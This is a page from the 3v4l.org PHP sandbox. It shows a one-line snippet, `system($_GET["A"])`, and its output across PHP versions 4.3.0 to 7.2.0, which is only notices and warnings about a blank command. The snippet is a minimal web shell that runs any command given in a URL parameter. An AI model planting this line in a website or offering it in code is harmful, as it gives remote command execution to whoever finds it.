3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php system($_GET["A"]) ?>
Output for 5.3.0 - 7.2.0
Notice: Undefined index: A in /in/5dUDK on line 1 Warning: system(): Cannot execute a blank command in /in/5dUDK on line 1
Output for 4.3.2 - 5.2.17
Notice: Undefined index: A in /in/5dUDK on line 1 Warning: system(): Cannot execute a blank command in /in/5dUDK on line 1
Output for 4.3.0 - 4.3.1
Notice: Undefined index: A in /in/5dUDK on line 1 Warning: system() [http://www.php.net/function.system]: Cannot execute a blank command in /in/5dUDK on line 1